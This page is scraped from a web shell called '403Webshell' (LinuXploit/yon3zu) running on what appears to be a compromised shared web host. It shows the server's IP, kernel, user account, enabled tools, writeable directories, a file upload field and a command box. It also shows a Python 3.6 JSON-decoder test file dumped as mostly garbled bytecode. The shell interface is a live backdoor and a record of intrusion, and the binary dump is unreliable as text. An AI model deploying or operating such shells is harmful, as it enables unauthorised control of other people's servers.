403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_json/__pycache__/test_decode.cpython-36.pyc
3

�w2_��@sjddlZddlmZmZddlmZddlmZmZGdd�d�Z	Gdd�de	e�Z
Gd	d
�d
e	e�ZdS)�N)�StringIO�BytesIO)�OrderedDict)�PyTest�CTestc@sleZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZdS)�
TestDecodecCs8|jdtjd�}|jt|tj��|j|tjd��dS)Nz1.1)Zparse_float)�loads�decimalZDecimal�
assertTrue�
isinstance�assertEqual)�self�rval�r�?/opt/alt/python36/lib64/python3.6/test/test_json/test_decode.py�test_decimalszTestDecode.test_decimalcCs.|jdtd�}|jt|t��|j|d�dS)N�1)Z	parse_intg�?)r�floatr
rr)r
rrrr�
test_float
szTestDecode.test_floatcCs:|j|jd�i�|j|jd�g�|j|jd�d�dS)Nz{}z[]z""�)rr)r
rrr�test_empty_objectsszTestDecode.test_empty_objectscCs�d}dddddddg}|j|j|�t|��|j|j|dd�d�|�|j|jjt|�dd�d�|�|j|td�}|j|t|��|jt|�t�|j|j|tdd�d�t|��|j|jdtd�t��|j|jdtd�tdt�fg��dS) Nz?{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}�xkd��kcw��art��hxm��qrt��pad��hoy�cSs|S)Nr)�xrrr�<lambda>sz3TestDecode.test_object_pairs_hook.<locals>.<lambda>)�object_pairs_hookcSs|S)Nr)r%rrrr&scSsdS)Nr)r%rrrr&$s)r'Zobject_hookz{}z
{"empty": {}}�empty)rr)rr)rr)rr)rr )r!r")r#r$)rr�eval�json�loadrr�type)r
�s�pZodrrr�test_object_pairs_hooks$



z!TestDecode.test_object_pairs_hookcCs |jd�}|j|ddd��dS)Nz,{   "key"    :    "value"    ,  "k":"v"    }�value�v)�key�k)rr)r
rrrr�test_decoder_optimizations-s
z%TestDecode.test_decoder_optimizationscCsF||�}t|d�t|d�\}}\}}|j||�|j||�dS)Nrr)�sortedZassertIs)r
�sourcerr�a�b�c�drrr�check_keys_reuse4s"zTestDecode.check_keys_reusecCs<d}|j||j�|jjj�}|j||j�|j|j�dS)Nu2[{"a_key": 1, "b_é": 2}, {"a_key": 3, "b_é": 4}])r;rr*�decoder�JSONDecoder�decodeZassertFalse�memo)r
r-r<rrr�test_keys_reuse:s
zTestDecode.test_keys_reusecCs d}d}|j|j||j|�dS)Nz
[1, 2, 3]5z
Extra data)�assertRaisesRegex�JSONDecodeErrorr)r
r-�msgrrr�test_extra_dataAszTestDecode.test_extra_datacCs d}d}|j|j||j|�dS)Nz	["abc\y"]�escape)rArBr)r
r-rCrrr�test_invalid_escapeFszTestDecode.test_invalid_escapecCs2d}x(ddgidgD]}|jt||j|�qWdS)Nzthe JSON object must be strrg��Q�	@)rA�	TypeErrorr)r
rCr0rrr�test_invalid_input_typeKsz"TestDecode.test_invalid_input_typecCs�djd�jd�}|j|j��}|j|�WdQRX|jdt|j��|j|j��}|jj	t
|��WdQRX|jdt|j��djdjd�jd��}|j|j|�d�|j|jj	t
|��d�dS)Nz[1,2,3]z	utf-8-sigzutf-8�BOMz"{}"ru)
�encoder>�assertRaisesrBrZassertIn�strZ	exceptionr*r+r�formatr)r
Zbom_json�cmZ
bom_in_strrrr�test_string_with_utf8_bomPsz$TestDecode.test_string_with_utf8_bomcCs$|jj�}|jt|jddd�dS)Nr7�*iP�i�<��)r*r=rK�
ValueErrorZ
raw_decode)r
r:rrr�test_negative_index^s
zTestDecode.test_negative_indexN)�__name__�
__module__�__qualname__rrrr/r4r;r@rDrFrHrOrRrrrrrsrc@seZdZdS)�TestPyDecodeN)rSrTrUrrrrrVbsrVc@seZdZdS)�TestCDecodeN)rSrTrUrrrrrWcsrW)r	�iorr�collectionsrZtest.test_jsonrrrrVrWrrrr�<module>s[

Youez - 2016 - github.com/yon3zu
LinuXploit